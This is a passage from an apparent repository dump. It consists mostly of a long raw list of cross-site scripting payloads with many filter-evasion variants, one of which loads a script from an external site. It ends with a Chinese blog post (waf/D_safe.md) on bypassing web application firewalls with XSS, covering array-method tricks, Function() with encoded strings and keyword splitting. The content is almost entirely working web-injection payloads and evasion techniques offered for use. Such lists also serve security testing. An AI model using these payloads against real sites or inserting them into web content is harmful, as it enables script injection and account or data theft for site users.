1365 | <IMG SRC="jav&#x0A;ascript:alert(1897);">
1366 | <IMG SRC="jav&#x0D;ascript:alert(1898);">
1367 | perl -e 'print "<IMG SRC=java\0script:alert(1899)>";' > out
1368 | <IMG SRC=" &#14;  javascript:alert(1900);">
1369 | <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1902)>
1370 | <<SCRIPT>alert(1904);//<</SCRIPT>
1371 | <IMG SRC="javascript:alert(1907)"
1372 | \";alert(1909);//
1373 | </TITLE><SCRIPT>alert(1910);</SCRIPT>
1374 | <INPUT TYPE="IMAGE" SRC="javascript:alert(1911);">
1375 | <BODY BACKGROUND="javascript:alert(1912)">
1376 | <IMG DYNSRC="javascript:alert(1913)">
1377 | <IMG LOWSRC="javascript:alert(1914)">
1378 | <STYLE>li {list-style-image: url("javascript:alert(1915)");}</STYLE><UL><LI>XSS</br>
1379 | <BODY ONLOAD=alert(1918)>
1380 | <BGSOUND SRC="javascript:alert(1919);">
1381 | <BR SIZE="&{alert(1920)}">
1382 | <LINK REL="stylesheet" HREF="javascript:alert(1921);">
1383 | <STYLE>@im\port'\ja\vasc\ript:alert(1926)';</STYLE>
1384 | <IMG STYLE="xss:expr/*XSS*/ession(alert(1927))">
1385 | exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert(1928))'>
1386 | <STYLE TYPE="text/javascript">alert(1929);</STYLE>
1387 | <STYLE>.XSS{background-image:url("javascript:alert(1930)");}</STYLE><A CLASS=XSS></A>
1388 | <STYLE type="text/css">BODY{background:url("javascript:alert(1931)")}</STYLE>
1389 | <STYLE type="text/css">BODY{background:url("javascript:alert(1932)")}</STYLE>
1390 | <XSS STYLE="xss:expression(alert(1933))">
1391 | ¼script¾alert(1935)¼/script¾
1392 | <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1936);">
1393 | <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(1938);">
1394 | <IFRAME SRC="javascript:alert(1939);"></IFRAME>
1395 | <IFRAME SRC=# onmouseover="alert(1940)"></IFRAME>
1396 | <FRAMESET><FRAME SRC="javascript:alert(1941);"></FRAMESET>
1397 | <TABLE BACKGROUND="javascript:alert(1942)">
1398 | <TABLE><TD BACKGROUND="javascript:alert(1943)">
1399 | <DIV STYLE="background-image: url(javascript:alert(1944))">
1400 | <DIV STYLE="background-image: url(&#1;javascript:alert(1946))">
1401 | <DIV STYLE="width: expression(alert(1947));">
1402 | <BASE HREF="javascript:alert(1948);//">
1403 | <? echo('<SCR)';echo('IPT>alert(1953)</SCRIPT>'); ?>
1404 | <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(1956)</SCRIPT>">
1405 |  <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(1957);+ADw-/SCRIPT+AD4-
1406 | <img src=``&NewLine; onerror=alert(1977)&NewLine;
1407 | <script /**/>/**/alert(1981)/**/</script /**/
1408 | <iframe/src="data:text/html,<svg &#198319831983;&#198319830;load=alert(1983)>">
1409 | <meta content="&NewLine; 1984 &NewLine;; JAVASCRIPT&colon; alert(1984)" http-equiv="refresh"/>
1410 | <form><iframe &#09;&#19920;&#19921992; src="javascript&#58;alert(1992)"&#19921992;&#19920;&#09;;>
1411 | http://www.google<script .com>alert(1994)</script
1412 | <script ^__^>alert(1998))</script ^__^
1413 | </style &#32;><script &#32; :-(>/**/alert(1999)/**/</script &#32; :-(
1414 | &#00;</form><input type&#62000;"date" onfocus="alert(2000)">
1415 | <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(2004)&NewLine;>X</a>
1416 | <script ~~~>alert(2005)</script ~~~>
1417 | <iframe// src=javaSCRIPT&colon;alert(2013)
1418 | <%<!--'%><script>alert(2030);</script -->
1419 | <script src="data:text/javascript,alert(2031)"></script>
1420 | <iframe/onreadystatechange=alert(2033)
1421 | <svg/onload=alert(2034)
1422 | <input type="text" value=`` <div/onmouseover='alert(2036)'>X</div>
1423 | <img src=`xx:xx`onerror=alert(2038)>
1424 | <meta http-equiv="refresh" content="0;javascript&colon;alert(2040)"/>
1425 | <script>+-+-2050-+-+alert(2050)</script>
1426 | <body/onload=&lt;!--&gt;&#20510alert(2051)>
1427 | <script itworksinallbrowsers>/*<script* */alert(2052)</script
1428 | <img src ?itworksonchrome?\/onerror = alert(2053)
1429 | <svg><script onlypossibleinopera:-)> alert(2055)
1430 | <script x> alert(2057) </script 2057=2
1431 | <div/onmouseover='alert(2058)'> style="x:">
1432 | <--`<img/src=` onerror=alert(2059)> --!>
1433 | <div style="position:absolute;top:0;left:0;width:206100%;height:206100%" onmouseover="prompt(2061)" onclick="alert(2061)">x</button>
1434 | <form><button formaction=javascript&colon;alert(2063)>CLICKME
1435 | <script>alert(2071);</script>
1436 | <script>alert(2072);</script>
1437 | <IMG SRC="javascript:alert(2073);">
1438 | <IMG SRC=javascript:alert(2074)>
1439 | <IMG SRC=javascript:alert(2075)>
1440 | <IMG SRC=javascript:alert(2076)>
1441 | <IMG """><SCRIPT>alert(2077)</SCRIPT>">
1442 | <scr<script>ipt>alert(2078);</scr</script>ipt>
1443 | <script>alert(2079))</script>
1444 | <img src=foo.png onerror=alert(2080) />
1445 | <style>@im\port'\ja\vasc\ript:alert(2081)';</style>
1446 | <? echo('<scr)'; echo('ipt>alert(2082)</script>'); ?>
1447 | <marquee><script>alert(2083)</script></marquee>
1448 | <IMG SRC=\"jav&#x09;ascript:alert(2084);\">
1449 | <IMG SRC=\"jav&#x0A;ascript:alert(2085);\">
1450 | <IMG SRC=\"jav&#x0D;ascript:alert(2086);\">
1451 | <IMG SRC=javascript:alert(2087))>
1452 | "><script>alert(2088)</script>
1453 | </title><script>alert(2090)</script>
1454 | </textarea><script>alert(2091)</script>
1455 | <IMG LOWSRC=\"javascript:alert(2092)\">
1456 | <IMG DYNSRC=\"javascript:alert(2093)\">
1457 | <font style='color:expression(alert(2094))'>
1458 | <img src="javascript:alert(2095)">
1459 | <script language="JavaScript">alert(2096)</script>
1460 | <body onunload="javascript:alert(2097);">
1461 | <body onLoad="alert(2098);"
1462 | [color=red' onmouseover="alert(2099)"]mouse over[/color]
1463 | "/></a></><img src=2100.gif onerror=alert(2100)>
1464 | window.alert(2101);
1465 | alert(2103));'))">
1466 | <iframe<?php echo chr(11)?> onload=alert(2104)></iframe>
1467 | "><script alert(2105))</script>
1468 | '">><script>alert(2107)</script>
1469 | <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(2109);\">
1470 | <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert(2110);\">
1471 | <script>2111 2111 = 1; alert(2111)</script>
1472 | <STYLE type="text/css">BODY{background:url("javascript:alert(2112)")}</STYLE>
1473 | <?='<SCRIPT>alert(2113)</SCRIPT>'?>
1474 | " onfocus=alert(2115) "> <"
1475 | <FRAMESET><FRAME SRC=\"javascript:alert(2116);\"></FRAMESET>
1476 | <STYLE>li {list-style-image: url(\"javascript:alert(2117)\");}</STYLE><UL><LI>XSS
1477 | perl -e 'print \"<SCR\0IPT>alert(2118)</SCR\0IPT>\";' > out
1478 | perl -e 'print \"<IMG SRC=java\0script:alert(2119)>\";' > out
1479 | <br size=\"&{alert(2120)}\">
1480 | <scrscriptipt>alert(2121)</scrscriptipt>
1481 | </br style=a:expression(alert(21222122>
1482 | </script><script>alert(2123)</script>
1483 | "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(2124)>
1484 | [color=red width=expression(alert(2125))][color]
1485 | <BASE HREF="javascript:alert(2126);//">
1486 | "></iframe><script>alert(2128)</script>
1487 | <body onLoad="while(true) alert(2129);">
1488 | '"></title><script>alert(2130)</script>
1489 | </textarea>'"><script>alert(2131)</script>
1490 | '""><script language="JavaScript"> alert(2132);</script>
1491 | </script></script><<<<script><>>>><<<script>alert(2133)</script>
1492 | <INPUT TYPE="IMAGE" SRC="javascript:alert(2135);">
1493 | '></select><script>alert(2136)</script>
1494 | a="get";b="URL";c="javascript:";d="alert(2140);";eval(a+b+c+d);
1495 | ='><script>alert(2141)</script>
1496 | <body background=javascript:'"><script>alert(2143)</script>></body>
1497 | ">/XaDoS/><script>alert(2144)</script><script src="http://www.site.com/XSS.js"></script>
1498 | ">/KinG-InFeT.NeT/><script>alert(2145)</script>
1499 | !--" /><script>alert(2148);</script>
1500 | <script>alert(2149)</script><marquee><h1>XSS by xss</h1></marquee>
1501 | "><script>alert(2150)</script>><marquee><h1>XSS by xss</h1></marquee>
1502 | '"></title><script>alert(2151)</script>><marquee><h1>XSS by xss</h1></marquee>
1503 | <img """><script>alert(2152)</script><marquee><h1>XSS by xss</h1></marquee>
1504 | <script>alert(2153)</script><marquee><h1>XSS by xss</h1></marquee>
1505 | "><script>alert(2154)</script>"><script>alert("XSS by \nxss</h1></marquee>
1506 | '"></title><script>alert(2155)</script>><marquee><h1>XSS by xss</h1></marquee>
1507 | <iframe src="javascript:alert(2156);"></iframe><marquee><h1>XSS by xss</h1></marquee>
1508 | '><SCRIPT>alert(2157))</SCRIPT><img src="" alt='
1509 | "><SCRIPT>alert(2158))</SCRIPT><img src="" alt="
1510 | \'><SCRIPT>alert(2159))</SCRIPT><img src="" alt=\'
1511 | '); alert(2162); var x='
1512 | \\'); alert(2163);var x=\'
1513 | //--></SCRIPT><SCRIPT>alert(2164));
1514 | >"><ScRiPt%20%0a%0d>alert(2165)%3B</ScRiPt>
1515 | <SCRIPT> alert(2170); </SCRIPT>
1516 | <BODY ONLOAD=alert(2171)>
1517 | <BODY BACKGROUND="javascript:alert(2172)">
1518 | <IMG SRC="javascript:alert(2173);">
1519 | <IMG DYNSRC="javascript:alert(2174)">
1520 | <IMG LOWSRC="javascript:alert(2175)">
1521 | <INPUT TYPE="IMAGE" SRC="javascript:alert(2177);">
1522 | <LINK REL="stylesheet" HREF="javascript:alert(2178);">
1523 | <TABLE BACKGROUND="javascript:alert(2179)">
1524 | <TD BACKGROUND="javascript:alert(2180)">
1525 | <DIV STYLE="background-image: url(javascript:alert(2181))">
1526 | <DIV STYLE="width: expression(alert(2182));">
1527 | &apos;;alert(2185))//\&apos;;alert(2185))//&quot;;alert(2185))//\&quot;;alert(2185))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(2185))&lt;/SCRIPT&gt;
1528 | &lt;SCRIPT&gt;alert(2187)&lt;/SCRIPT&gt;
1529 | &lt;SCRIPT&gt;alert(2189))&lt;/SCRIPT&gt;
1530 | &lt;BASE HREF=&quot;javascript:alert(2190);//&quot;&gt;
1531 | &lt;BGSOUND SRC=&quot;javascript:alert(2191);&quot;&gt;
1532 | &lt;BODY BACKGROUND=&quot;javascript:alert(2192);&quot;&gt;
1533 | &lt;BODY ONLOAD=alert(2193)&gt;
1534 | &lt;DIV STYLE=&quot;background-image: url(javascript:alert(2194))&quot;&gt;
1535 | &lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(2195))&quot;&gt;
1536 | &lt;DIV STYLE=&quot;width: expression(alert(2196));&quot;&gt;
1537 | &lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(2197);&quot;&gt;&lt;/FRAMESET&gt;
1538 | &lt;IFRAME SRC=&quot;javascript:alert(2198);&quot;&gt;&lt;/IFRAME&gt;
1539 | &lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(2199);&quot;&gt;
1540 | &lt;IMG SRC=&quot;javascript:alert(2200);&quot;&gt;
1541 | &lt;IMG SRC=javascript:alert(2201)&gt;
1542 | &lt;IMG DYNSRC=&quot;javascript:alert(2202);&quot;&gt;
1543 | &lt;IMG LOWSRC=&quot;javascript:alert(2203);&quot;&gt;
1544 | &lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(2207)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
1545 | %BCscript%BEalert(2211)%BC/script%BE
1546 | &lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(2212);&quot;&gt;
1547 | &lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(2214);&quot;&gt;
1548 | &lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(2217)&gt;&lt;/OBJECT&gt;
1549 | a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(2219);&quot;)&quot;;&#10;eval(a+b+c+d);
1550 | &lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(2220);&lt;/STYLE&gt;
1551 | &lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(2221))&quot;&gt;
1552 | &lt;XSS STYLE=&quot;xss:expression(alert(2222))&quot;&gt;
1553 | &lt;STYLE&gt;.XSS{background-image:url(&quot;javascript:alert(2223)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
1554 | &lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(2224)&quot;)}&lt;/STYLE&gt;
1555 | &lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(2225);&quot;&gt;
1556 | &lt;TABLE BACKGROUND=&quot;javascript:alert(2230)&quot;&gt;&lt;/TABLE&gt;
1557 | &lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(2231)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;
1558 | &lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(2233);&quot;&gt;]]&gt;
1559 | &lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(2234)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
1560 | &lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(2238)&lt;/SCRIPT&gt;&quot;&gt;
1561 | &lt;BR SIZE=&quot;&amp;{alert(2243)}&quot;&gt;
1562 | &lt;IMG SRC=JaVaScRiPt:alert(2244)&gt;
1563 | &lt;IMG SRC=javascript:alert(2245)&gt;
1564 | &lt;IMG SRC=`javascript:alert(2246)`&gt;
1565 | &lt;IMG SRC=javascript:alert(2247))&gt;
1566 | &lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(2252);+ADw-/SCRIPT+AD4-
1567 | \&quot;;alert(2253);//
1568 | &lt;/TITLE&gt;&lt;SCRIPT&gt;alert(2254);&lt;/SCRIPT&gt;
1569 | &lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(2255)&apos;;&lt;/STYLE&gt;
1570 | &lt;IMG SRC=&quot;jav&#x09;ascript:alert(2256);&quot;&gt;
1571 | &lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(2257);&quot;&gt;
1572 | &lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(2258);&quot;&gt;
1573 | &lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(2259);&quot;&gt;
1574 | perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(2261)>&quot;;&apos;&gt; out
1575 | perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(2262)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out
1576 | &lt;IMG SRC=&quot; &amp;#14;  javascript:alert(2263);&quot;&gt;
1577 | &lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(2265)&gt;
1578 | &lt;IMG SRC=&quot;javascript:alert(2268)&quot;
1579 | &lt;&lt;SCRIPT&gt;alert(2270);//&lt;&lt;/SCRIPT&gt;
1580 | &lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(2271)&lt;/SCRIPT&gt;&quot;&gt;
1581 | &quot;&gt;&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(2390)&gt;
1582 | &lt;/script&gt;&lt;script&gt;alert(2391)&lt;/script&gt;
1583 | &lt;/br style=a:expression(alert(23922392&gt;
1584 | &lt;scrscriptipt&gt;alert(2393)&lt;/scrscriptipt&gt;
1585 | &lt;br size=\&quot;&amp;{alert(2394)}\&quot;&gt;
1586 | perl -e &#039;print \&quot;&lt;IMG SRC=java\0script:alert(2395)&gt;\&quot;;&#039; &gt; out
1587 | perl -e &#039;print \&quot;&lt;SCR\0IPT&gt;alert(2396)&lt;/SCR\0IPT&gt;\&quot;;&#039; &gt; out
1588 | <~/XSS/*-*/STYLE=xss:e/**/xpression(alert(2397))>
1589 | <~/XSS/*-*/STYLE=xss:e/**/xpression(alert(2399))>
1590 | <~/XSS STYLE=xss:expression(alert(2400))>
1591 | "><script>alert(2401)</script>
1592 | </XSS/*-*/STYLE=xss:e/**/xpression(alert(2402))>
1593 | XSS/*-*/STYLE=xss:e/**/xpression(alert(2403))>
1594 | XSS STYLE=xss:e/**/xpression(alert(2404))>
1595 | </XSS STYLE=xss:expression(alert(2405))>
1596 | ';;alert(2406))//\';;alert(2406))//";;alert(2406))//\";;alert(2406))//-->;<;/SCRIPT>;";>;';>;<;SCRIPT>;alert(2406))<;/SCRIPT>;
1597 | <;SCRIPT>;alert(2408)<;/SCRIPT>;
1598 | <;SCRIPT>;alert(2410))<;/SCRIPT>;
1599 | <;BASE HREF=";javascript:alert(2411);//";>;
1600 | <;BGSOUND SRC=";javascript:alert(2412);";>;
1601 | <;BODY BACKGROUND=";javascript:alert(2413);";>;
1602 | <;BODY ONLOAD=alert(2414)>;
1603 | <;DIV STYLE=";background-image: url(javascript:alert(2415))";>;
1604 | <;DIV STYLE=";background-image: url(&;#1;javascript:alert(2416))";>;
1605 | <;DIV STYLE=";width: expression(alert(2417));";>;
1606 | <;FRAMESET>;<;FRAME SRC=";javascript:alert(2418);";>;<;/FRAMESET>;
1607 | <;IFRAME SRC=";javascript:alert(2419);";>;<;/IFRAME>;
1608 | <;INPUT TYPE=";IMAGE"; SRC=";javascript:alert(2420);";>;
1609 | <;IMG SRC=";javascript:alert(2421);";>;
1610 | <;IMG SRC=javascript:alert(2422)>;
1611 | <;IMG DYNSRC=";javascript:alert(2423);";>;
1612 | <;IMG LOWSRC=";javascript:alert(2424);";>;
1613 | <;STYLE>;li {list-style-image: url(";javascript:alert(2428)";);}<;/STYLE>;<;UL>;<;LI>;XSS
1614 | %BCscript%BEalert(2432)%BC/script%BE
1615 | <;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(2433);";>;
1616 | <;META HTTP-EQUIV=";refresh"; CONTENT=";0; URL=http://;URL=javascript:alert(2435);";>;
1617 | <;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(2438)>;<;/OBJECT>;
1618 | a=";get";;&;#10;b=";URL(";";;&;#10;c=";javascript:";;&;#10;d=";alert(2440);";)";;&#10;eval(a+b+c+d);
1619 | <;STYLE TYPE=";text/javascript";>;alert(2441);<;/STYLE>;
1620 | <;IMG STYLE=";xss:expr/*XSS*/ession(alert(2442))";>;
1621 | <;XSS STYLE=";xss:expression(alert(2443))";>;
1622 | <;STYLE>;.XSS{background-image:url(";javascript:alert(2444)";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>;
1623 | <;STYLE type=";text/css";>;BODY{background:url(";javascript:alert(2445)";)}<;/STYLE>;
1624 | <;LINK REL=";stylesheet"; HREF=";javascript:alert(2446);";>;
1625 | <;TABLE BACKGROUND=";javascript:alert(2451)";>;<;/TABLE>;
1626 | <;TABLE>;<;TD BACKGROUND=";javascript:alert(2452)";>;<;/TD>;<;/TABLE>;
1627 | <;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=";javas]]>;<;![CDATA[cript:alert(2454);";>;]]>;
1628 | <;XML ID=";xss";>;<;I>;<;B>;<;IMG SRC=";javas<;!-- -->;cript:alert(2455)";>;<;/B>;<;/I>;<;/XML>;
1629 | <;META HTTP-EQUIV=";Set-Cookie"; Content=";USERID=<;SCRIPT>;alert(2459)<;/SCRIPT>;";>;
1630 | <;BR SIZE=";&;{alert(2464)}";>;
1631 | <;IMG SRC=JaVaScRiPt:alert(2465)>;
1632 | <;IMG SRC=javascript:alert(2466)>;
1633 | <;IMG SRC=`javascript:alert(2467)`>;
1634 | <;IMG SRC=javascript:alert(2468))>;
1635 | <;HEAD>;<;META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html; charset=UTF-7";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(2473);+ADw-/SCRIPT+AD4-
1636 | \";;alert(2474);//
1637 | <;/TITLE>;<;SCRIPT>;alert(2475);<;/SCRIPT>;
1638 | <;STYLE>;@im\port';\ja\vasc\ript:alert(2476)';;<;/STYLE>;
1639 | <;IMG SRC=";jav&#x09;ascript:alert(2477);";>;
1640 | <;IMG SRC=";jav&;#x09;ascript:alert(2478);";>;
1641 | <;IMG SRC=";jav&;#x0A;ascript:alert(2479);";>;
1642 | <;IMG SRC=";jav&;#x0D;ascript:alert(2480);";>;
1643 | perl -e ';print ";<;IM SRC=java\0script:alert(2482)>";;';>; out
1644 | perl -e ';print ";&;<;SCR\0IPT>;alert(2483)<;/SCR\0IPT>;";;'; >; out
1645 | <;IMG SRC="; &;#14;  javascript:alert(2484);";>;
1646 | <;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(2486)>;
1647 | <;IMG SRC=";javascript:alert(2489)";
1648 | <;<;SCRIPT>;alert(2491);//<;<;/SCRIPT>;
1649 | <;IMG ";";";>;<;SCRIPT>;alert(2492)<;/SCRIPT>;";>;
1650 | ";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(2611)>;
1651 | <;/script>;<;script>;alert(2612)<;/script>;
1652 | <;/br style=a:expression(alert(26132613>;
1653 | <;scrscriptipt>;alert(2614)<;/scrscriptipt>;
1654 | <;br size=\";&;{alert(2615)}\";>;
1655 | perl -e &#039;print \";<;IMG SRC=java\0script:alert(2616)>;\";;&#039; >; out
1656 | perl -e &#039;print \";<;SCR\0IPT>;alert(2617)<;/SCR\0IPT>;\";;&#039; >; out
1657 | <~/XSS/*-*/STYLE=xss:e/**/xpression(alert(2618))>
1658 | <~/XSS/*-*/STYLE=xss:e/**/xpression(alert(2620))>
1659 | <~/XSS STYLE=xss:expression(alert(2621))>
1660 | "><script>alert(2622)</script>
1661 | </XSS/*-*/STYLE=xss:e/**/xpression(alert(2623))>
1662 | XSS/*-*/STYLE=xss:e/**/xpression(alert(2624))>
1663 | XSS STYLE=xss:e/**/xpression(alert(2625))>
1664 | </XSS STYLE=xss:expression(alert(2626))>
1665 | >"><script>alert(2627)</script>&
1666 | "><STYLE>@import"javascript:alert(2628)";</STYLE>
1667 | >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(2629)>
1668 | >%22%27><img%20src%3d%22javascript:alert(2630)%22>
1669 | '%uff1cscript%uff1ealert(2631)%uff1c/script%uff1e'
1670 | <IMG SRC="javascript:alert(2633);">
1671 | <IMG SRC=javascript:alert(2634)>
1672 | <IMG SRC=JaVaScRiPt:alert(2635)>
1673 | <IMG SRC=JaVaScRiPt:alert(2636)>
1674 | <IMG SRC="jav&#x0A;ascript:alert(2640);">
1675 | <IMG SRC="jav&#x0D;ascript:alert(2641);">
1676 | <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(2643);<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
1677 | <script>alert(2649)</script>
1678 | %3cscript%3ealert(2650)%3c/script%3e
1679 | %22%3e%3cscript%3ealert(2651)%3c/script%3e
1680 | <IMG SRC="javascript:alert(2652);">
1681 | <IMG SRC=javascript:alert(2653)>
1682 | <IMG SRC=javascript:alert(2654)>
1683 | <img src=xss onerror=alert(2655)>
1684 | <IMG """><SCRIPT>alert(2656)</SCRIPT>">
1685 | <IMG SRC=javascript:alert(2657))>
1686 | <IMG SRC="jav ascript:alert(2658);">
1687 | <IMG SRC="jav&#x09;ascript:alert(2659);">
1688 | <BODY BACKGROUND="javascript:alert(2663)">
1689 | <BODY ONLOAD=alert(2664)>
1690 | <INPUT TYPE="IMAGE" SRC="javascript:alert(2665);">
1691 | <IMG SRC="javascript:alert(2666)"
1692 | <<SCRIPT>alert(2668);//<</SCRIPT>
1693 | %253cscript%253ealert(2669)%253c/script%253e
1694 | "><s"%2b"cript>alert(2670)</script>
1695 | foo<script>alert(2671)</script>
1696 | <scr<script>ipt>alert(2672)</scr</script>ipt>
1697 | ';alert(2674))//\';alert(2674))//";alert(2674))//\";alert(2674))//--></SCRIPT>">'><SCRIPT>alert(2674))</SCRIPT>
1698 | <marquee onstart='javascript:alert(2675);'>=(◕_◕)=
1699 | 


--------------------------------------------------------------------------------
/waf/D_safe.md:
--------------------------------------------------------------------------------
  1 | ### 前言
  2 | - - -
  3 | 今天又换了款waf，因为waf要IIS环境，我发现我是个手残党，一看就懂，操作就废，搭建个IIS环境没成功。后来有朋友说我买的服务器有重置系统，那里可以选择ASP/.NET环境，今天搭建好了。
  4 | 
  5 | ![1](https://ws1.sinaimg.cn/large/006Xzox4ly1g1ky4we8ghj306o06oq34.jpg)
  6 | 
  7 | ### 提醒
  8 | - - -
  9 | 本文分两部分，前部分是总结新学的姿势，后半部分测试Waf。
 10 | 
 11 | ### 数组方式
 12 | - - -
 13 | 前两篇文章，我们利用js里的对象成员方法也可以用数组的形式的表示，以此构造了许多payload，在数组内将敏感函数拼接，以此来绕过。以`top`对象为演示的，在Javascrip中，可以连接数组的函数有其他可以补充的。
 14 | 
 15 | #### map()函数
 16 | - - -
 17 | map函数可以返回一个数组`[1].map`，而且我们在使用`map`函数的时候往往会传入一个函数，如果我们传递一个`alert`函数，那么将触发xss。
 18 | ```php
 19 | [1].map(alert)
 20 | ```
 21 | ![2](https://ws1.sinaimg.cn/large/005DAKuvgy1g200cpnu7bj30lk03z0sp.jpg)
 22 | 
 23 | 类似的数组操作函数不在少数，我所知的就有**find**，**every**，**filter**，**forEach**，**findIndex**。它们和**map**函数都有一个共同的特点，可以返回数组，而且在使用的同时还以可以传入一个函数，这就为我们构造payload提供更多的选择。
 24 | 
 25 | 我们思考一下，在那些情况下我们可以使用，其实满多，可以先看个demo。
 26 | 
 27 | ```php
 28 | <img src=1 onerror=[1].filter(alert)>
 29 | ```
 30 | 成功弹窗
 31 | 
 32 | ![3](https://ws1.sinaimg.cn/large/005DAKuvgy1g203d50hfzj30ql094aal.jpg)
 33 | 
 34 | 那么如何更进一步呢，我们先思考下面这个例子。
 35 | 
 36 | ```php
 37 | <img src=1 onerror=['ale'%2b'rt'].map(top['ev'%2b'al'])[0]['valu'%2b'eOf']()(/xss/)>
 38 | ```
 39 | 将`alert`函数以数组的方式拼接保存，通过嵌套`top`对象拆分带入`eval`函数，`valueOf`方法将返回值`/xss/`，成功弹窗。
 40 | 
 41 | ![4](https://ws1.sinaimg.cn/large/005DAKuvgy1g204i32laqj30qb09mgm7.jpg)
 42 | 
 43 | 从上面的例子中，我们不难看出，javascrip的这类对象方法不在少数，如果我们要寻找其他类似函数，首先满足`返回数组`，或者`字符串`，再能够带入我们的`函数`。
 44 | 
 45 | ### function函数
 46 | - - -
 47 | 在javascript，定义函数的方式有两种：一种是函数声明，另一种就是函数表达式。
 48 | 
 49 | 这里返回结果为变量名`demo`，函数表达式也可以叫匿名函数，基本特征是没有函数名，
 50 | 
 51 | ![5](https://ws1.sinaimg.cn/large/005DAKuvgy1g204yvqam0j30fe05wglo.jpg)
 52 | 
 53 | 如果我们向匿名函数内添加`形参`为函数alert，再执行函数，那么可以达到弹窗的效果嘛?
 54 | 
 55 | ```Function('alert(1)')();```答案显而易见。
 56 | 
 57 | ![6](https://ws1.sinaimg.cn/large/005DAKuvgy1g205htqg05j30ts09egmc.jpg)
 58 | 
 59 | 然而alert关键字还是太敏感了，可以尝试将形参编码。
 60 | 
 61 | ```Function('al\x65\x72\x74\x281\x29')();```
 62 | 
 63 | 成功弹窗。
 64 | 
 65 | ![7](https://ws1.sinaimg.cn/large/005DAKuvgy1g205pwfwjvj30ts09i0th.jpg)
 66 | 
 67 | 拼接也是可以达到同样的效果```Function('ale'%2b'rt(1)')();```
 68 | 
 69 | ### open()属性
 70 | - - -
 71 | open()方法属性打开一个新的浏览器窗口，可在括号内加入参数```open(alert(1))```
 72 | 
 73 | 成功弹窗。
 74 | 
 75 | ![8](https://ws1.sinaimg.cn/large/005DAKuvgy1g207srej3gj30vn09cdgk.jpg)
 76 | 
 77 | 好玩的是，我们使用伪协议时，将会在新窗口弹出。
 78 | 
 79 | ```<body onpageshow=open('java'%2b'script:ale'%2b'rt(1)') >```
 80 | 
 81 | ![9](https://ws1.sinaimg.cn/large/005DAKuvgy1g2079o9zibj30vn08k756.jpg)
 82 | 
 83 | ### 神奇的constructor
 84 | 还记得前篇文章[测试WAF来学习XSS姿势(二)](https://www.anquanke.com/post/id/176300)执行代码姿势补充那段嘛，当时我以为自己，已经把`constructor`的坑填完了，早上起来查资料学习，又发现一个可用知识。
 85 | 
